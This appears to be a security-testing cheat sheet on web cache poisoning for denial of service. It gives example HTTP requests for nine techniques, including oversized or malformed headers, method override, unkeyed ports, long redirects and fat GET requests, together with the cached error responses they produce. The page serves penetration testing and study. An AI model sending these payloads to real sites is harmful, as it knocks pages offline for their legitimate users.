# Cache Poisoning to DoS

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> [!CAUTION]
> In this page you can find different variations to try to make the **web server respond with errors** to requests that are **valid for the cache servers**

- **HTTP Header Oversize (HHO)**

Send a request with a header size larger than the one supported by the web server but smaller than the one supported by the cache server. The web server will respond with a 400 response which might be cached:

```
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
```

- **HTTP Meta Character (HMC) & Unexpected values**

Send a header that contain some **harmfull meta characters** such as and . In order the attack to work you must bypass the cache first.

```
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
```

A badly configured header could be just `\:` as a header.

This could also work if unexpected values are sent, like an unexpected Content-Type:

```
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
```

- **Unkeyed header**

Some websites will return an error status code if they **see some specific headers i**n the request like with the _X-Amz-Website-Location-Redirect: someThing_ header:

```
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
```

- **HTTP Method Override Attack (HMO)**

If the server supports changing the HTTP method with headers such as `X-HTTP-Method-Override`, `X-HTTP-Method` or `X-Method-Override`. It's possible to request a valid page changing the method so the server doesn't supports it so a bad response gets cached:

```
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
```

- **Unkeyed Port**

If port in the Host header is reflected in the response and not included in the cache key, it's possible to redirect it to an unused port:

```
GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
```

- **Long Redirect DoS**

Like in the following example, x is not being cached, so an attacker could abuse the redirect response behaviour to make the redirect send a URL so big that it returns an error. Then, people trying to access the URL without the uncached x key will get the error response:

```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
```

- **Host header case normalization**

The host header should be case insensitive but some websites expect it to be lowercase returning an error if it's not:

```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
```

- **Path normalization**

Some pages will return error codes sending data URLencode in the path, however, the cache server with URLdecode the path and store the response for the URLdecoded path:

```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
```

- **Fat Get**

Some cache servers, like Cloudflare, or web servers, stops GET requests with a body, so this could be abused to cache a invalid response:

```
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit
```

## References

- [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
- [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------)

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